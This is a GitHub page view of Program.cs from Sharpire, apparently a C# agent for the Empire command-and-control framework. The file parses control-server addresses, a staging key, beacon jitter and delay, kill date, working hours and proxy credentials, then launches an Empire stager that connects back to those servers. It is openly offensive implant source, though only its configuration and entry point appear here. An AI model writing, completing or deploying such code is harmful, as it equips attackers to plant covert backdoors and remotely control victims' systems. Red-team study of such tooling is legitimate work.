-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathProgram.cs
151 lines (127 loc) · 5.69 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
using System;
using System.Configuration;
using System.Linq;
using System.Text.RegularExpressions;
namespace Sharpire
{
class Program
{
static void Main(string[] args)
{
#if (COMMAND_LINE)
if (args.Length < 3)
return;
SessionInfo sessionInfo = new SessionInfo(args);
#endif
#if (COMPILE_TIME)
SessionInfo sessionInfo = new SessionInfo();
#endif
#if (PRINT)
Console.WriteLine("EmpireServer: {0}", sessionInfo.GetControlServers());
Console.WriteLine("StagingKey: {0}", sessionInfo.GetStagingKey());
Console.WriteLine("AgentLanguage: {0}", sessionInfo.GetAgentLanguage());
#endif
(new EmpireStager(sessionInfo)).Execute();
}
}
sealed class SessionInfo
{
private string[] ControlServers;
private readonly string StagingKey;
private byte[] StagingKeyBytes;
private readonly string AgentLanguage;
private string[] TaskURIs;
private string UserAgent;
private double DefaultJitter;
private uint DefaultDelay;
private uint DefaultLostLimit;
private string StagerUserAgent;
private string StagerURI;
private string Proxy;
private string ProxyCreds;
private DateTime KillDate;
private DateTime WorkingHoursStart;
private DateTime WorkingHoursEnd;
private string AgentID;
private string SessionKey;
private byte[] SessionKeyBytes;
public SessionInfo()
{
ControlServers = ConfigurationManager.AppSettings["ControlServers"].Split(new String[] { "," }, StringSplitOptions.RemoveEmptyEntries);
StagingKey = ConfigurationManager.AppSettings["StagingKey"];
AgentLanguage = ConfigurationManager.AppSettings["AgentLanguage"];
SetDefaults();
}
public SessionInfo(string[] args)
{
ControlServers = args[0].Split(new String[] { "," }, StringSplitOptions.RemoveEmptyEntries);
StagingKey = args[1];
AgentLanguage = args[2];
SetDefaults();
}
private void SetDefaults()
{
StagingKeyBytes = System.Text.Encoding.ASCII.GetBytes(StagingKey);
TaskURIs = ConfigurationManager.AppSettings["TaskURIs"].Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries);
UserAgent = ConfigurationManager.AppSettings["UserAgent"];
double.TryParse(ConfigurationManager.AppSettings["DefaultJitter"], out DefaultJitter);
uint.TryParse(ConfigurationManager.AppSettings["DefaultDelay"], out DefaultDelay);
uint.TryParse(ConfigurationManager.AppSettings["DefaultLostLimit"], out DefaultLostLimit);
StagerUserAgent = ConfigurationManager.AppSettings["StagerUserAgent"];
if (string.IsNullOrEmpty(StagerUserAgent))
{
StagerUserAgent = UserAgent;
}
StagerURI = ConfigurationManager.AppSettings["StagerURI"];
Proxy = ConfigurationManager.AppSettings["Proxy"];
ProxyCreds = ConfigurationManager.AppSettings["ProxyCreds"];
string KillDate = ConfigurationManager.AppSettings["KillDate"];
if (!string.IsNullOrEmpty(KillDate))
{
Regex regex = new Regex("^\\d{1,2}\\/\\d{1,2}\\/\\d{4}$");
if (regex.Match(KillDate).Success)
DateTime.TryParse(KillDate, out this.KillDate);
}
string WorkingHours = ConfigurationManager.AppSettings["WorkingHours"];
if (!string.IsNullOrEmpty(WorkingHours))
{
Regex regex = new Regex("^[0-9]{1,2}:[0-5][0-9]$");
string start = WorkingHours.Split(',').First();
if (regex.Match(start).Success)
DateTime.TryParse(start, out WorkingHoursStart);
string end = WorkingHours.Split(',').Last();
if (regex.Match(end).Success)
DateTime.TryParse(end, out WorkingHoursEnd);
}
}
public string[] GetControlServers() { return ControlServers; }
public string GetStagingKey() { return StagingKey; }
public byte[] GetStagingKeyBytes() { return StagingKeyBytes; }
public string GetAgentLanguage() { return AgentLanguage; }
public string[] GetTaskURIs() { return TaskURIs; }
public string GetUserAgent() { return UserAgent; }
public double GetDefaultJitter() { return DefaultJitter; }
public uint GetDefaultDelay() { return DefaultDelay; }
public uint GetDefaultLostLimit() { return DefaultLostLimit; }
public string GetStagerUserAgent() { return StagerUserAgent; }
public string GetStagerURI() { return StagerURI; }
public string GetProxy() { return Proxy; }
public string GetProxyCreds() { return ProxyCreds; }
public DateTime GetKillDate() { return KillDate; }
public void SetWorkingHoursStart(DateTime WorkingHoursStart)
{
this.WorkingHoursStart = WorkingHoursStart;
}
public DateTime GetWorkingHoursStart() { return WorkingHoursStart; }
public DateTime GetWorkingHoursEnd() { return WorkingHoursEnd; }
public void SetAgentID(string AgentID) { this.AgentID = AgentID; }
public string GetAgentID() { return AgentID; }
public void SetSessionKey(string SessionKey)
{
this.SessionKey = SessionKey;
SessionKeyBytes = System.Text.Encoding.ASCII.GetBytes(SessionKey);
}
public string GetSessionKey() { return SessionKey; }
public byte[] GetSessionKeyBytes() { return SessionKeyBytes; }
}
}